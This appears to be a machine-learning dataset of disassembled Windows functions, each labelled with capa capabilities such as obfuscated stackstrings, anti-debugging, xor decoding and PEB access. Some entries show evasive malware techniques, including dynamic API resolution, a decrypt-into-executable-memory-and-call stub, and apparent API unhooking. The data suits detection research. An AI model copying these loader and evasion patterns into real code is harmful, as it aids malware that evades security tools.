joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10008e50
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
lea eax, [ebp - 0x10]
mov dword [ebp - 0xf], 0x79537465
push eax
mov esi, ecx
mov word [ebp - 0xa], 0x6574
mov byte [ebp - 0x10], 0x47
mov word [ebp - 4], 0x65
mov word [ebp - 7], 0x6954
mov byte [ebp - 8], 0x6d
mov byte [ebp - 0xb], 0x73
mov byte [ebp - 5], 0x6d
call fcn.100089c9
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10008e99
push esi
call eax
pop esi
leave
ret

Function at 0x10008e9c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x28
push ebx
push ebp
push esi
push edi
push 0x6c
xor eax, eax
mov ebp, ecx
pop ecx
push 0x2e
mov word [esp + 0x38], ax
mov edi, edx
pop eax
push 0x73
mov word [esp + 0x30], ax
xor ebx, ebx
pop eax
push 0x65
mov word [esp + 0x26], ax
pop eax
push 0x33
mov word [esp + 0x28], ax
pop eax
push 0x32
mov word [esp + 0x2c], ax
pop eax
push 0x55
mov word [esp + 0x2e], ax
pop eax
push 0x72
mov word [esp + 0x24], ax
pop eax
push 0x64
mov word [esp + 0x2a], ax
pop eax
mov word [esp + 0x2e], ax
lea eax, [esp + 0x20]
push eax
mov word [esp + 0x36], cx
mov word [esp + 0x34], cx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x10008f58
lea eax, [esp + 0x10]
mov word [esp + 0x16], 0x6577
push eax
push esi
mov dword [esp + 0x21], 0x66667542
mov dword [esp + 0x19], 0x4c726168
mov byte [esp + 0x18], 0x43
mov word [esp + 0x25], 0x57
mov byte [esp + 0x20], 0x72
mov byte [esp + 0x1d], 0x6f
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10008f51
push edi
push ebp
call eax
mov ebx, eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
pop ebp
mov eax, ebx
pop ebx
add esp, 0x28
ret

Function at 0x10008f62
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
mov edi, ecx
xor ebx, ebx
call fcn.10008a7d
mov esi, eax
test esi, esi
je 0x10008fef
lea eax, [ebp - 0x1c]
mov word [ebp - 0x15], 0x6972
push eax
push esi
mov word [ebp - 7], 0x6144
mov word [ebp - 0xc], 0x7069
mov word [ebp - 0x1b], 0x7465
mov word [ebp - 0x18], 0x6365
mov word [ebp - 4], 0x6c
mov word [ebp - 0x12], 0x4479
mov byte [ebp - 0x19], 0x53
mov word [ebp - 0xf], 0x6373
mov byte [ebp - 0xd], 0x72
mov word [ebp - 0xa], 0x6f74
mov byte [ebp - 0x1c], 0x53
mov byte [ebp - 0x13], 0x74
mov byte [ebp - 0x16], 0x75
mov byte [ebp - 8], 0x72
mov byte [ebp - 5], 0x63
mov byte [ebp - 0x10], 0x65
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10008fe8
push ebx
push ebx
push 1
push edi
call eax
mov ebx, eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret
Function at 0x10008ff6
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0x46746547
push eax
mov edi, edx
mov word [ebp - 2], 0x65
mov ebx, ecx
mov dword [ebp - 7], 0x6953656c
or esi, 0xffffffff
mov byte [ebp - 8], 0x69
mov byte [ebp - 3], 0x7a
call fcn.100089c9
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1000903c
push edi
push ebx
call eax
mov esi, eax
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret

Function at 0x100090db
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
xor esi, esi
mov ebx, ecx
push edi
inc esi
call fcn.10008a7d
mov edi, eax
test edi, edi
je 0x10009145
lea eax, [ebp - 0x10]
mov word [ebp - 0xc], 0x6365
push eax
push edi
mov dword [ebp - 4], 0x6f666e
mov dword [ebp - 8], 0x49797469
mov word [ebp - 0xf], 0x7465
mov byte [ebp - 0x10], 0x47
mov byte [ebp - 0xd], 0x53
mov word [ebp - 0xa], 0x7275
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1000913e
push dword [ebp + 0x1c]
xor ecx, ecx
push ecx
push dword [ebp + 0x14]
push ecx
push ecx
push 4
push esi
push ebx
call eax
mov esi, eax
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret

Function at 0x1000914c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
mov edi, ecx
xor ebx, ebx
call fcn.10008a7d
mov esi, eax
test esi, esi
je 0x100091cb
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x11], 0x74696e49
push eax
push esi
mov dword [ebp - 0x18], 0x65746163
mov word [ebp - 5], 0x64
mov dword [ebp - 0xa], 0x53657a69
mov dword [ebp - 0x1c], 0x6f6c6c41
mov word [ebp - 0xc], 0x6c61
mov word [ebp - 0x14], 0x6e41
mov byte [ebp - 0x12], 0x64
mov byte [ebp - 0xd], 0x69
mov byte [ebp - 6], 0x69
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100091c4
push dword [ebp + 0x28]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x221
push 0x20
push 2
push edi
call eax
mov ebx, eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret
Function at 0x100091d2
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
push edi
push 0x61
pop eax
push 0x6c
mov word [ebp - 0x1c], ax
mov edi, ecx
pop ecx
push 0x77
pop eax
push 0x68
mov word [ebp - 0x1e], ax
xor ebx, ebx
xor eax, eax
mov word [ebp - 0x12], cx
mov word [ebp - 0xe], ax
pop eax
push 0x53
mov word [ebp - 0x22], ax
pop eax
push 0x69
mov word [ebp - 0x24], ax
pop eax
push 0x70
mov word [ebp - 0x18], ax
pop eax
push 0x2e
mov word [ebp - 0x1a], ax
pop eax
push 0x64
mov word [ebp - 0x16], ax
pop eax
mov word [ebp - 0x14], ax
lea eax, [ebp - 0x24]
push eax
mov word [ebp - 0x10], cx
mov word [ebp - 0x20], cx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x10009272
lea eax, [ebp - 0xc]
mov word [ebp - 4], 0x57
push eax
push esi
mov dword [ebp - 0xb], 0x6f547274
mov word [ebp - 7], 0x6e49
mov byte [ebp - 5], 0x74
mov byte [ebp - 0xc], 0x53
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1000926b
push edi
call eax
mov ebx, eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret

Function at 0x10009279
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
lea eax, [ebp - 0x10]
mov word [ebp - 7], 0x6165
push eax
xor ebx, ebx
mov word [ebp - 0xa], 0x6854
mov word [ebp - 5], 0x64
mov dword [ebp - 0xf], 0x74616572
mov byte [ebp - 8], 0x72
mov byte [ebp - 0x10], 0x43
mov byte [ebp - 0xb], 0x65
call fcn.100089c9
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100092c9
push ebx
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
push ebx
push ebx
call eax
mov ebx, eax
mov eax, ebx
pop ebx
leave
ret
Function at 0x1001afda
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.1001ac57
Function at 0x76e494
Capabilities:
Execute anti-debugging instructions

Disassembly:
push 0xf075f884
jmp 0x76e47a
lea esp, [esp + 4]
pushfd
jmp 0x76e393
inc cx
jb 0x76e4cc
jae 0x76e4b4
add eax, 0x29691231
jmp 0x76f940
lea esp, [esp + 2]
mov dword [esp + 4], edi
jmp 0x76e470
cmc
mov cx, sp
jmp 0x76e4d0
cmc
mov cx, sp
call fcn.0076e49e
mov eax, 0x5ab45076
cpuid
lea ebp, [esp + 4]
lea edi, [eax + eax]
xchg ecx, edi
jmp 0x76e541
mov ax, 0xbe54
mov ecx, esp
ror bx, cl
je 0x76e526
not ebx
jmp 0x76e548
sub esp, 0xbc
mov edi, esp
jmp 0x76e506
not ebx
jmp 0x76e548
btr ebx, ecx
jl 0x76e51c
jge 0x76e51c
mov ebx, dword [esp]
jmp 0x76f8b4
lea ebx, [esi + esi]
bsr ebx, esi
jb 0x76f8cf
mov ebx, dword [esp]

Function at 0x76e49e
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov esi, dword [esp + 0x30]
setge dh
jmp 0x76e4d5

Function at 0x76e57f
Capabilities:
Execute anti-debugging instructions

Disassembly:
jmp fcn.0076e5a0
btc ebx, edi
jge 0x76e55c
jl fcn.0076e5a0
retf

Function at 0x76e5b6
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov byte [esp + 2], bh
lea esp, [esp + 2]
lea esi, [esi + 0x24]
call fcn.0076e572

Function at 0x794380
Capabilities:
Encode data using base64

Disassembly:
call 0x794366
mov ecx, 0xf5f304be
call fcn.007943a7
dec esp
fbld tbyte [esi]
push ecx
xchg ebx, eax
xchg edx, edi
retf
lea ecx, [edi + 0x47]
jmp 0x760908
mov word [esp + 1], bx
lea esp, [esp + 4]
jae 0x76095a
jmp 0x79435e

Function at 0x7943a7
Capabilities:
Encode data using base64

Disassembly:
lea esp, [esp + 4]
lea ecx, [edi - 4]
jmp 0x760908

Function at 0x7db09d
Capabilities:
Encode data using xor

Disassembly:
push ebx
push dword [esp + 1]
lea esp, [esp + 8]
jb 0x76519c
add dword [ebp + reloc.MSVCRT.dll_strncpy], ecx
xor cl, 0xa0
clc
dec dword [edi]
sbb dword [ebx + 0x53fff8a0], 0xffffffc9
jae 0x76514c
push ebx
leave
pop ecx
cmp bl, cl
jge 0x7db0a0
Function at 0x81a0a0
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov ecx, eax
lea eax, [eax*4]
mov di, bp
lea ebp, [ecx*4]
mov word [esp + 5], sp
cpuid
jmp 0x81a0bd
mov dx, word [esp + 2]
jmp 0x81a07e

Function at 0x81a32c
Capabilities:
Execute anti-debugging instructions

Disassembly:
inc dh
xchg bx, ax
push ecx
jmp 0x81a367
bt esi, ebx
mov bx, word [esp + 8]
lea eax, [ecx + edi]
sub esp, 2
jmp 0x81a379
cpuid
rdtsc
btc si, sp
xchg bh, al
mov esi, dword [esp + 5]
inc bl
jmp 0x81a351
rcr cx, 1
add bh, al
mov ch, byte [esp + 3]
cld
xor dl, 0x98
pop cx
jmp 0x81a42f
mov bp, 0x67de
add edx, ebx
rdtsc
cmc
mov bx, word [esp + 7]
xor cl, ch
jmp 0x81a418
xor esi, 0x7c7192a3
not si
mov ebx, dword [esp + 1]
mov bx, bp
push dword [esp + 6]
mov dh, byte [esp + 0xb]
jmp 0x81a3a8
rcl ch, cl
bsf bx, si
bswap edx
lea esi, [eax + edx]
xchg byte [esp + 1], bh
bsr bp, di
jmp 0x81a3be
lea ebx, reloc.MSVCRT.dll_strncpy
mov byte [esp + 0xa], bl
add esp, 9
pop eax
jmp 0x81a457
mov word [esp + 8], dx
sub esp, 7
lea eax, reloc.MSVCRT.dll_strncpy
jmp 0x81a402
mov ecx, edi
push dword [esp + 5]
mov word [esp], si
mov dh, cl
xchg cl, bh
inc si
jmp 0x81a3ed
xchg byte [esp + 7], bh
mov dh, 0xff
std
not ebx
pop cx
mov dx, di
jmp 0x81a46d
push word [esp]
inc si
mov dword [esp + 4], edx
xchg dword [esp + 3], edx
pop dword [esp + 3]
mov ebx, edx
jmp 0x81a441
mov al, 0xe4
pop si
clc
bswap esi
neg ecx
rdtsc
jmp 0x81a4e9
setg dh
pop edi
mov ebx, edi
cmc
cld
bt bx, cx
call fcn.0081a4b8
clc
not di
call fcn.0081a528
mov cl, 0x2b
mov ebx, 0xd9982dde
dec esp
ret 0x54a5

Function at 0x81a5bb
Capabilities:
Execute anti-debugging instructions

Disassembly:
jmp 0x81a609
push word [esp + 6]
neg bp
xchg word [esp + 0x10], dx
xchg al, bl
mov dl, byte [esp + 0xf]
lea ebp, [ebx + ebp]
jmp 0x81a5f3
xchg byte [esp + 0x13], ch
inc edi
not bl
mov dword [esp + 0x10], ebx
add esp, 8
cmc
jmp 0x81a5bd

Function at 0x81a8be
Capabilities:
Execute anti-debugging instructions

Disassembly:
sub esp, 2
jmp 0x81a8fa
lea edi, [edx + ebp]
cmc
mov dx, word [esp + 2]
setl ah
mov bp, dx
dec bx
jmp 0x81a8e4

Function at 0x81aa86
Capabilities:
Access peb ldr_data

Disassembly:
mov dword [esp + 0x80], edi
lea esp, [esp + 0x80]
jmp 0x81aad5
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
jmp 0x81aaac
Function at 0x4b856b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
rol esi, cl
inc ebp
stc
mov byte [ebp - 0xc], 0xcd
mov byte [ebp - 0xb], 0xda
mov byte [ebp - 0xa], 0xda
mov byte [ebp - 9], 0xbf
call fcn.004b81e8
push eax
push esi
push dword [ebp + 8]
call fcn.004b819d
mov dword [ebp - 8], eax
lea eax, [ebp - 0x6c]
push eax
mov byte [ebp - 0x6c], bl
mov byte [ebp - 0x6b], bl
mov byte [ebp - 0x6a], 0xbe
mov byte [ebp - 0x69], bl
mov byte [ebp - 0x68], 0x17
mov byte [ebp - 0x67], 0x28
mov byte [ebp - 0x66], 0x33
mov byte [ebp - 0x65], 0x35
mov byte [ebp - 0x64], 0x34
mov byte [ebp - 0x63], 0x20
mov byte [ebp - 0x62], 0x2d
mov byte [ebp - 0x61], 0x11
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
call fcn.004b81e8
push eax
push esi
push dword [ebp + 8]
call fcn.004b819d
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.004b81e8
push eax
push esi
push dword [ebp + 8]
call fcn.004b819d
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.004b81d8
js 0x4b86be
xor dword [eax + ecx*4 - 0x63], ecx
jl 0x4b865d
invalid
invalid
mov byte [ecx - 0x837a73], cl
invalid
Function at 0x4b8ad5
Capabilities:
Contain obfuscated stackstrings

Disassembly:
inc dword [eax]
mov byte [ebp - 0x3c2], 0x99
and byte [ebp - 0x3c1], 0
mov byte [ebp - 0x3c0], 0x21
mov byte [ebp - 0x3bf], 3
mov byte [ebp - 0x3be], 0x12
mov byte [ebp - 0x3bd], 0x2b
mov byte [ebp - 0x3bc], 9
mov byte [ebp - 0x3bb], 2
mov byte [ebp - 0x3ba], 0x13
mov byte [ebp - 0x3b9], 0xa
mov byte [ebp - 0x3b8], 3
mov byte [ebp - 0x3b7], 0x20
mov byte [ebp - 0x3b6], 0xf
mov byte [ebp - 0x3b5], 0xa
mov byte [ebp - 0x3b4], 3
mov byte [ebp - 0x3b3], 0x28
mov byte [ebp - 0x3b2], 7
mov byte [ebp - 0x3b1], 0xb
mov byte [ebp - 0x3b0], 3
cld
invalid
inc dword [ebx]
mov byte [ebp - 0x3af], 0x27
mov byte [ebp - 0x3ae], 0x66
lea eax, [ebp - 0x3c4]
push eax
call fcn.004b81e8
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.004b819d
add esp, 0xc
mov dword [ebp - 0x538], eax
and byte [ebp - 0x3ec], 0
and byte [ebp - 0x3eb], 0
mov byte [ebp - 0x3ea], 0x11
and byte [ebp - 0x3e9], 0
mov byte [ebp - 0x3e8], 0xa9
mov byte [ebp - 0x3e7], 0x8b
mov byte [ebp - 0x3e6], 0x9a
mov byte [ebp - 0x3e5], 0xa3
mov byte [ebp - 0x3e4], 0x81
mov byte [ebp - 0x3e3], 0x8a
mov byte [ebp - 0x3e2], 0x9b
mov byte [ebp - 0x3e1], 0x82
mov byte [ebp - 0x3e0], 0x8b
mov byte [ebp - 0x3df], 0xa6
mov byte [ebp - 0x3de], 0x8f
mov byte [ebp - 0x3dd], 0x80
mov byte [ebp - 0x3dc], 0x8a
mov byte [ebp - 0x3db], 0x82
mov byte [ebp - 0x3da], 0x8b
mov byte [ebp - 0x3d9], 0xaf
mov byte [ebp - 0x3d8], 0xee
lea eax, [ebp - 0x3ec]
push eax
call fcn.004b81e8
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.004b819d
add esp, 0xc
mov dword [ebp - 0x340], eax
call fcn.004b81d8
pop ecx
cmp dword [edx], eax
cld
and byte [ebp - 0x534], 0
and byte [ebp - 0x533], 0
mov byte [ebp - 0x532], 0x68
and byte [ebp - 0x531], 0
mov byte [ebp - 0x530], 0xd4
mov byte [ebp - 0x52f], 0xfb
mov byte [ebp - 0x52e], 0xf8
mov byte [ebp - 0x52d], 0xe4
mov byte [ebp - 0x52c], 0xf2
mov byte [ebp - 0x52b], 0xdf
mov byte [ebp - 0x52a], 0xf6
mov byte [ebp - 0x529], 0xf9
invalid
stc
mov byte [ebp - 0x528], 0xf3
mov byte [ebp - 0x527], 0xfb
mov byte [ebp - 0x526], 0xf2
mov byte [ebp - 0x525], 0x97
lea eax, [ebp - 0x534]
invalid
call dword [eax - 0x18]
and dh, ch
invalid
call [ecx + 0x50]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.004b819d
add esp, 0xc
mov dword [ebp - 0x680], eax
call fcn.004b81d8
and ah, bh
push eax
test eax, 0xf99ca580
invalid

Function at 0x4b8df5
Capabilities:
Contain obfuscated stackstrings

Disassembly:
add byte [eax - 0x5125b], al
inc dword [eax]
mov byte [ebp - 0x512], 0xe3
and byte [ebp - 0x511], 0
mov byte [ebp - 0x510], 0x5b
mov byte [ebp - 0x50f], 0x79
mov byte [ebp - 0x50e], 0x68
mov byte [ebp - 0x50d], 0x5a
mov byte [ebp - 0x50c], 0x75
mov byte [ebp - 0x50b], 0x70
mov byte [ebp - 0x50a], 0x79
mov byte [ebp - 0x509], 0x4f
mov byte [ebp - 0x508], 0x75
mov byte [ebp - 0x507], 0x66
mov byte [ebp - 0x506], 0x79
mov byte [ebp - 0x505], 0x1c
lea eax, [ebp - 0x514]
push eax
call fcn.004b81e8
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.004b819d
add esp, 0xc
mov dword [ebp - 0x33c], eax
call fcn.004b81d8
lahf
retf 0x3fc7
Function at 0x4b8edb
Capabilities:
Contain obfuscated stackstrings

Disassembly:
inc dword [eax]
and byte [ebp - 0x6b7], 0
mov byte [ebp - 0x6b6], 0x9b
and byte [ebp - 0x6b5], 0
mov byte [ebp - 0x6b4], 0x33
mov byte [ebp - 0x6b3], 0x16
mov byte [ebp - 0x6b2], 0xd
mov byte [ebp - 0x6b1], 0x10
mov byte [ebp - 0x6b0], 1
mov byte [ebp - 0x6af], 0x34
mov byte [ebp - 0x6ae], 0x16
mov byte [ebp - 0x6ad], 0xb
mov byte [ebp - 0x6ac], 7
mov byte [ebp - 0x6ab], 1
mov byte [ebp - 0x6aa], 0x17
mov byte [ebp - 0x6a9], 0x17
mov byte [ebp - 0x6a8], 0x29
mov byte [ebp - 0x6a7], 1
mov byte [ebp - 0x6a6], 9
mov byte [ebp - 0x6a5], 0xb
mov byte [ebp - 0x6a4], 0x16
mov byte [ebp - 0x6a3], 0x1d
mov byte [ebp - 0x6a2], 0x64
lea eax, [ebp - 0x6b8]
push eax
call fcn.004b81e8
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.004b819d
add esp, 0xc
mov dword [ebp - 0x690], eax
mov byte [ebp - 0x6a0], 0x8b
or byte [ebp - 0x69f], 0xff
mov byte [ebp - 0x69e], 0x55
mov byte [ebp - 0x69d], 0x8b
mov byte [ebp - 0x69c], 0xec
lea eax, [ebp - 0x694]
push eax
push 5
lea eax, [ebp - 0x6a0]
push eax
push dword [ebp - 0x33c]
push 0xffffffffffffffff
call dword [ebp - 0x690]
mov eax, dword [ebp + 8]
mov dword [ebp - 0x6c0], eax
inc eax
stc
invalid
dec dword [ebx - 0x7a76efbb]
inc esp
stc
invalid
jmp [eax]
adc byte [eax], al
add byte [edx + 8], ch
push dword [ebp - 0x674]
call dword [ebp - 0x67c]
mov dword [ebp - 0x698], eax
call fcn.004b81d8
xchg esi, eax
stc
imul ecx, dword [edi + edi*8 - 0x6974b], 0x40858dff
stc
invalid

Function at 0x4efb4a
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
test byte [esi + 4], 1
push edi
mov ebx, ecx
je 0x4efb62
mov edi, dword [esi + 0xc]
jmp 0x4efba2
push 5
push dword [esi + 0xc]
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
test edi, edi
jne 0x4efb7b
call fcn.0042377d
push edi
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
jne 0x4efb90
call fcn.0042377d
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
jne 0x4efba2
call fcn.0042377d
call fcn.00420a03
cmp dword [eax + 0x3c], 0
je 0x4efbb7
push edi
mov ecx, ebx
call fcn.004ee97c
mov edi, eax
push dword [ebp + 0xc]
push edi
call fcn.004efa64
mov dword [ebp + 8], eax
mov eax, dword [ebx + 0x7c]
test eax, eax
je 0x4efbd5
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
and dword [ebx + 0x7c], 0
mov eax, dword [ebp + 8]
test eax, eax
je 0x4efbe1
mov edi, eax
mov dword [ebx + 0x7c], eax
or dword [esi + 4], 1
mov dword [esi + 0xc], edi
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x50baf1
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x5896f0]
jne 0x50bafb
repz ret
jmp fcn.005139e3
Function at 0x2e01c870
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x2e01c87f
pop dword [ebp - 0x2c]
mov eax, 0xc144cd61
sub eax, 0x934304e2
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x6b372336
sub dword [ebp - 0x3c], 0x1ce4ddeb
mov dword [ebp - 0x38], 0xe16b58e0
sub dword [ebp - 0x38], 0xaf380c9b
mov dword [ebp - 0x34], 0x8dd15591
add dword [ebp - 0x34], 0xbe7aee9d
mov dword [ebp - 0x30], 0x91a82927
add dword [ebp - 0x30], 0x6e57d6d9
lea eax, [ebp - 0x3c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0x7de0b97d
sub dword [ebp - 0x3c], 0x96e5027
mov dword [ebp - 0x38], 0x39e28cbb
sub dword [ebp - 0x38], 0xf8762b46
mov dword [ebp - 0x34], 0xf1291de
add dword [ebp - 0x34], 0x545cda8e
mov dword [ebp - 0x30], 0xaf0cd080
add dword [ebp - 0x30], 0x50f32f80
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, 0xd1b2f8ab
sub eax, 0xa3afc7ef
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x3ef12
push 0
call eax
mov ecx, 0xc70410d8
sub ecx, 0xc703d1a1
mov ebx, eax
mov edi, 0xbf67068b
add edi, 0x6e9e7775
add edi, dword [ebp - 0x2c]
mov edx, 0x905a293d
add edx, 0x678bb25b
xor dword [ebp - 0x20], 0xf9e33181
mov esi, dword [edi]
xor esi, edx
xor dword [ebp - 0x14], 0x28e3067f
mov dword [ebx], esi
add ebx, 4
add edi, 0x201c2046
add edi, 0xdfe3dfbe
loop 0x2e01c99c
add eax, 0xedd93fab
sub eax, 0xedd84ffc
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xb5e72e62
add ecx, 0x7818d19e
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x4013c9
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [0x40e04c], 1
mov dword [0x40e050], 1
mov dword [0x40e054], 1
mov dword [ebp - 4], 0x400000
mov eax, dword [ebp - 4]
movzx eax, word [eax]
cmp ax, 0x5a4d
je 0x40140a
mov eax, 0
jmp 0x4014a4
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp - 4]
add eax, edx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
cmp eax, 0x4550
je 0x40142d
mov eax, 0
jmp 0x4014a4
mov eax, dword [ebp - 8]
add eax, 0x18
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
movzx eax, ax
cmp eax, 0x10b
je 0x40144f
cmp eax, 0x20b
je 0x401474
jmp 0x40149f
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x5c]
cmp eax, 0xe
ja 0x401461
mov eax, 0
jmp 0x4014a4
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x4014a4
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x6c]
cmp eax, 0xe
ja 0x40148c
mov eax, 0
jmp 0x4014a4
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x4014a4
mov eax, 0
leave
ret

Function at 0x4018c8
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x24
lea eax, [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov dword [esp], 2
call sym.___acrt_iob_func
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x1b
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov ebx, dword [ebp - 0xc]
mov dword [esp], 2
call sym.___acrt_iob_func
mov dword [esp + 8], ebx
mov edx, dword [ebp + 8]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._vfprintf
call sym._abort

Function at 0x40249c
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
movzx eax, word [eax]
cmp ax, 0x5a4d
je 0x4024bb
mov eax, 0
jmp 0x4024ff
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp - 4]
add eax, edx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
cmp eax, 0x4550
je 0x4024de
mov eax, 0
jmp 0x4024ff
mov eax, dword [ebp - 8]
add eax, 0x18
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
cmp ax, 0x10b
je 0x4024fa
mov eax, 0
jmp 0x4024ff
mov eax, 1
leave
ret
Function at 0x402501
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp + 8]
add eax, edx
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0
mov eax, dword [ebp - 0xc]
movzx eax, word [eax + 0x14]
movzx edx, ax
mov eax, dword [ebp - 0xc]
add eax, edx
add eax, 0x18
mov dword [ebp - 4], eax
jmp 0x402560
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
cmp dword [ebp + 0xc], eax
jb 0x402558
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0xc]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 8]
add eax, edx
cmp dword [ebp + 0xc], eax
jae 0x402558
mov eax, dword [ebp - 4]
jmp 0x402574
add dword [ebp - 8], 1
add dword [ebp - 4], 0x28
